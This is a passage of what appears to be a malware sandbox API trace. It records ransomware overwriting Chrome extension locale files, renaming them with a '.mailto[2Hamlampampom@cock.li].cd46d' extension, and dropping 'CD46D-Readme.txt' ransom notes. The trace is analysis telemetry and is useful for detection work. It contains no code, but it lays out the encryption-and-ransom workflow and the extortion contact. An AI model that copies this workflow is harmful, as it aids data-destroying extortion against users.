HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json" [0203.156] wcscat (in: _Dest=0xd4c7d98, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0203.157] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x544f80c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.157] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x934ed8 [0203.682] FlushFileBuffers (hFile=0x148c) returned 1 [0203.687] CloseHandle (hObject=0x148c) returned 1 [0203.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9a67f0 [0203.723] wcscpy (in: _Dest=0x9a67f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\" [0203.723] wcscat (in: _Dest=0x9a67f0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\CD46D-Readme.txt" [0203.723] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\cd46d-readme.txt")) returned 0xffffffff [0203.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94c [0203.751] WriteFile (in: hFile=0x94c, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x544f814, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x544f814*=0x6fd, lpOverlapped=0x0) returned 1 [0203.765] CloseHandle (hObject=0x94c) returned 1 [0203.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a67f0) returned 1 [0203.891] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fe130) returned 1 Thread: id = 8814 os_tid = 0x16b4 [0197.149] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json")) returned 0x2020 [0197.149] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json", dwFileAttributes=0x20) returned 1 [0200.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1284 [0200.110] GetFileSizeEx (in: hFile=0x1284, lpFileSize=0x29ef830 | out: lpFileSize=0x29ef830*=179) returned 1 [0200.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909370 [0200.110] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909488 [0200.110] NtQuerySystemTime (in: CurrentTime=0x29ef790 | out: CurrentTime=0x29ef790*=132174899747026000) returned 0x0 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x4d9f264d [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x5cd0c5c3 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x3bdc68c5 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x5454f73c [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x7c2a004f [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x789983f7 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x2b98354a [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x1cb8f126 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x4ebc8380 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x25e0c284 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x4f123500 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x7076336b [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x28e5efa2 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x70b845b8 [0200.110] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x3a21ccc2 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x40494e47 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x2d80e4f9 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x170486e4 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x2ea0d247 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x7da2bf16 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x4f4b4873 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x35e980a6 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0xe7db859 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x571d54c4 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x73bb8338 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x7bcb75a1 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x3990d436 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x1f267bf6 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x79521800 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x6e24e730 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x53718b62 [0200.111] RtlRandomEx (in: Seed=0x29ef79c | out: Seed=0x29ef79c) returned 0x20deb9d3 [0200.123] ReadFile (in: hFile=0x1284, lpBuffer=0x12ce80a8, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x29ef78c, lpOverlapped=0x0 | out: lpBuffer=0x12ce80a8*, lpNumberOfBytesRead=0x29ef78c*=0xb3, lpOverlapped=0x0) returned 1 [0200.124] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.124] WriteFile (in: hFile=0x1284, lpBuffer=0x12da1118*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x29ef788, lpOverlapped=0x0 | out: lpBuffer=0x12da1118*, lpNumberOfBytesWritten=0x29ef788*=0xb3, lpOverlapped=0x0) returned 1 [0201.183] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8238 [0201.183] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4d8260 [0201.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8260) returned 1 [0201.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da1118) returned 1 [0201.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ce80a8) returned 1 [0201.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fabf0) returned 1 [0201.183] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2428) returned 1 [0201.183] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6ae0 [0201.183] SetFilePointerEx (in: hFile=0x1284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.183] WriteFile (in: hFile=0x1284, lpBuffer=0x1338d2e0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x29ef7f0, lpOverlapped=0x0 | out: lpBuffer=0x1338d2e0*, lpNumberOfBytesWritten=0x29ef7f0*=0x10b, lpOverlapped=0x0) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1338d2e0) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6b10) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8260) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ae0) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8238) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909370) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909820) returned 1 [0202.475] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909780) returned 1 [0202.476] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0xd4c6e48 [0202.476] wcscpy (in: _Dest=0xd4c6e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" [0202.476] wcscat (in: _Dest=0xd4c6e48, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0202.476] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x29ef7a8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.476] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x935080 [0203.676] FlushFileBuffers (hFile=0x1284) returned 1 [0203.679] CloseHandle (hObject=0x1284) returned 1 [0203.716] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x13c) returned 0x9a6418 [0203.717] wcscpy (in: _Dest=0x9a6418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\" [0203.717] wcscat (in: _Dest=0x9a6418, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\CD46D-Readme.txt" [0203.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\cd46d-readme.txt")) returned 0xffffffff [0203.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xfa4 [0203.885] WriteFile (in: hFile=0xfa4, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x29ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x29ef7b0*=0x6fd, lpOverlapped=0x0) returned 1 [0203.886] CloseHandle (hObject=0xfa4) returned 1 [0203.887] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a6418) returned 1 [0203.887] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9a6560) returned 1 Thread: id = 8815 os_tid = 0x16b8 [0197.150] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json")) returned 0x2020 [0197.150] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json", dwFileAttributes=0x20) returned 1 [0200.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13cc [0200.125] GetFileSizeEx (in: hFile=0x13cc, lpFileSize=0x29af970 | out: lpFileSize=0x29af970*=179) returned 1 [0200.125] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af230 [0200.125] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909488 [0200.125] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095a0 [0200.125] NtQuerySystemTime (in: CurrentTime=0x29af8d0 | out: CurrentTime=0x29af8d0*=132174899747182000) returned 0x0 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x6cb4e7a2 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x534b855 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x56a81fce [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x69cdc03a [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x5dad754e [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x2c290f5f [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x4ee75c40 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x594ba8d6 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x18ecfef3 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x591e6bf1 [0200.125] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0xadb1165 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x6c9946d5 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x7920a03 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0xca0645e [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x56a7a202 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x55991884 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x1a0b5c3c [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x3d4207eb [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x7660c02d [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x4167be54 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x6ef50d57 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x14f52e17 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x63289a3a [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x284c1535 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x3056eee9 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x5ec57e9f [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x56325276 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x315b7135 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x70f61d8d [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x19141b1 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x3d97dd01 [0200.126] RtlRandomEx (in: Seed=0x29af8dc | out: Seed=0x29af8dc) returned 0x3b86d69c [0200.138] ReadFile (in: hFile=0x13cc, lpBuffer=0x12dad920, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x29af8cc, lpOverlapped=0x0 | out: lpBuffer=0x12dad920*, lpNumberOfBytesRead=0x29af8cc*=0xb3, lpOverlapped=0x0) returned 1 [0200.139] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.139] WriteFile (in: hFile=0x13cc, lpBuffer=0x12dba128*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x29af8c8, lpOverlapped=0x0 | out: lpBuffer=0x12dba128*, lpNumberOfBytesWritten=0x29af8c8*=0xb3, lpOverlapped=0x0) returned 1 [0201.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x12d4aa18 [0201.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x12d4aa40 [0201.587] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d4aa40) returned 1 [0201.587] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dba128) returned 1 [0201.589] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dad920) returned 1 [0201.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb7a8) returned 1 [0201.590] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0201.590] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928df8 [0201.590] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.590] WriteFile (in: hFile=0x13cc, lpBuffer=0x12c6b070*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x29af930, lpOverlapped=0x0 | out: lpBuffer=0x12c6b070*, lpNumberOfBytesWritten=0x29af930*=0x10b, lpOverlapped=0x0) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6b070) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928e28) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d4aa40) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928df8) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d4aa18) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909488) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909758) returned 1 [0201.711] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909618) returned 1 [0201.711] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17c) returned 0x943c40 [0201.711] wcscpy (in: _Dest=0x943c40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" [0201.712] wcscat (in: _Dest=0x943c40, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 